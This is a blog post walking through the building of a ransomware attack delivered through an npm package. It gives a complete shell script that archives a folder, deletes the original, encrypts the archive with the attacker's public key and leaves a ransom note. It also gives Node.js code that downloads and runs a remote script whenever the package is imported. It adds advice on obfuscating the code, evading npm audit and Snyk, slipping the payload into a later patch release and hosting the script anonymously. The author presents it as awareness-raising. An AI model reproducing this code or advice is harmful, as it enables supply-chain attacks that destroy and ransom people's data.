Running a ransomware attack in a Node.js module

05/05/2022

A couple of weeks ago, I experimented with creating a small ransomware script, and looked into how to run it in a Node.js module. This post is a write-up explaining how I went about it.

⚠️ Important notes ⚠️
  • I am writing this blog post for educational purposes only. Running ransomware attacks is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
  • I am not taking any responsibility for how you decide to use the information shared in this post.

The code samples that follow were tested on macOS. I assume the concept would be the same for other operating systems but the commands might differ a little.

What does it do?

Before diving into the code, I want to explain shortly what this attack does.

A custom Node.js module fetches a shell script hosted on a cloud platform, creates a new file on the target's computer and executes it. The script navigates to a specific folder on the target's computer, compresses and encrypts that folder using asymmetric encryption.

What this means is that the target's files are encrypted using the attacker's public key and cannot be decrypted without this same person's private key. As a result, the only way for the target to get their files back is to pay the ransom to the attacker to get the private key.

If this sounds interesting to you, the rest of this post covers how it works.

Creating the script

First things first, there's a script file called script.sh.

It starts by navigating to a folder on the target's computer. For testing purposes, I created a test folder on my Desktop called folder-to-encrypt so my shell script navigates to the Desktop. In a real attack, it would be more efficient to target another folder, for example /Users.

cd /Users/<your-username>/Desktop

The next step is to compress the folder folder-to-encrypt using tar.

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

The -czf flag stands for:

  • c: compress
  • z: gzip compression
  • f: determine the archive file’s file name type

At this point, running bash script.sh will result in seeing both folder-to-encrypt and folder-to-encrypt.tar.gz on the Desktop.

In the context of ransomware, people should not have access to their original file or folder, so it also needs to be deleted.

rm -rf folder-to-encrypt

At this point, the original folder is deleted but the file that's left is only in compressed format so it can be decompressed and restored by double-clicking it. This would defeat the purpose for people to be able to restore their files so, the next step is asymmetric encryption with openssl.

Encryption

Without going into too much details, asymmetric encryption works with two keys, a public one and a private one. The public key is the one used to encrypt the data. It can be shared with people so they can encrypt data they would want the keys' owner to be able to decrypt. The private key, on the other hand, needs to stay private, as it is the decryption key.

Once data is encrypted with the public key, it can only be decrypted with the associated private key.

The next step is then to generate the private key with the following command:

openssl genrsa -aes256 -out private.pem

This command uses AES (Advanced Encryption Standard) and more specifically the 256-bit encryption.

When the above command is run, the key is saved in a file called private.pem.

The public key is then generated with the command below:

openssl rsa -in private.pem -pubout > public.pem

After the keys are generated, I save the public key in a new file on the target's computer. One way to do this is with the following lines:

echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem

Getting the info needed from the public key can be done with the command:

head public.pem

Now, the compressed file can be encrypted.

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

The command above uses the new file key.pem created on the target's computer that contains the public key, and uses it to encrypt the compressed file into a file called folder-to-encrypt.enc. At this point, the orignal compressed file is still present so it also needs to be deleted.

rm -rf folder-to-encrypt.tar.gz

After this, the only way to retrieve the content of the original folder is to get access to the private key to decrypt the encrypted file.

As a last step, a note can be left to let the target know they've just been hacked and how they should go about paying the ransom. This part is not the focus of this post.

echo "You've been hacked! Gimme all the moneyz" > note.txt

Before moving on to running this into a Node.js module, I want to talk briefly about how to decrypt this file.

Decryption

At this point, running the following command in the terminal will decrypt the file and restore the original compressed version:

openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz

Complete code sample

The complete script looks like this:

cd /Users/<your-username>/Desktop
 
echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

rm -rf folder-to-encrypt

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

rm -rf folder-to-encrypt.tar.gz

echo "You've been hacked! Gimme all the moneyz" > note.txt

Now, how can people be tricked into using it?

Hiding ransomware in a Node.js module

There are multiple ways to go about this.

One of them would be to package up the shell script as part of the Node.js module and execute it when the package is imported. However, having the script as a file in the repository would probably raise some concerns pretty fast.

Instead, I decided to use the fs built-in package to fetch a URL where the script is hosted, copy the content to a new file on the target's computer, and then use child_process.execFile() to execute the file when the package is imported in a new project.

This way, it might not be obvious at first sight that the module has malicious intent. Especially if the JavaScript files are minified and obfuscated.

Creating the Node.js module

In a new Node.js module, I started by writing the code that fetches the content of the script and saves it to a new file called script.sh on the target's computer:

import fetch from "node-fetch"
import fs from "fs";

async function download() {
    const res = await fetch('http://<some-site>/script.sh');
    await new Promise((resolve, reject) => {
        const fileStream = fs.createWriteStream('./script.sh');
        res.body.pipe(fileStream);
        fileStream.on("finish", function () {
            resolve();
        });
    });
}

Then, it's time to execute it to run the attack.

const run = async () => {
    await download()
    execFile("bash", ["script.sh"]);
}

export default function innocentLookingFunction() {
    return run()
}

And that's it for the content of the package! For a real attack to work, more code should probably be added to the module to make it look like it is doing something useful.

Running the attack

To test this attack, I published the package as a private package on npm to avoid having people inadvertently install it. After importing and calling the default function, the attack is triggered.

import innocentLookingFunction from "@charliegerard/such-a-hacker";

innocentLookingFunction();

Done! ✅

Security

You might be thinking, "For sure this would be picked up by some security auditing tools?!". From what I've seen, it isn't.

npm audit

Running npm audit does not actually check the content of the modules you are using. This command only checks if your project includes packages that have been reported to contain vulnerabilities. As long as this malicious package isn't reported, npm audit will not flag it as potentially dangerous.

Snyk

I didn't research in details how Snyk detects potential issues but using the Snyk VSCode extension did not report any vulnerabilities either.

Screenshot of the Snyk VSCode report showing no vulnerabilities found in open-source security, code security and code quality

Socket.dev

At the moment, the Socket.dev GitHub app only supports typosquat detection so I didn't use it for this experiment.

Additional thoughts

"You'd have to get people to install the package first"

Personally, I see this as this easiest part of the whole process.

People install lots of different packages, even small utility functions they could write themselves. I could create a legitimate package, publish the first version without any malicious code, get people to use it, and down the line, add the malicious code in a patch update. Not everyone checks for what is added in patches or minor version updates before merging them. At some point, some people will understand where the ransomware came from and flag it, but by the time they do, the attack would have already affected a certain number of users.

Staying anonymous

For this one, I don't have enough knowledge to ensure that the attacker would not be found through the email address used to publish the package on npm, or through tracking the ransomware transactions. There's probably some interesting things to learn about money laundering, but I know nothing about it.

When it comes to where the script is hosted, I used a platform that allows you to deploy a website without needing to sign up, so this way, there might not be an easy way to retrieve the identity of the attacker.

Last note

I wanted to end on an important point, which is the main reason why I experimented with this.

It took me a few hours on a Sunday afternoon to put this together, without any training in security.

A part of me was hoping it wouldn't be possible, or at least not that easy, so I'd feel more comfortable using random packages, but I am now thinking a bit differently.

I am only interested in learning how things work, but that's not the case for everyone, so if I can do it, a lot of other people with malicious intent can too...

I don't know if an attack like this can be completely avoided but be careful when installing packages, update things regularly, and think twice before merging updates without checking changelogs and file changes.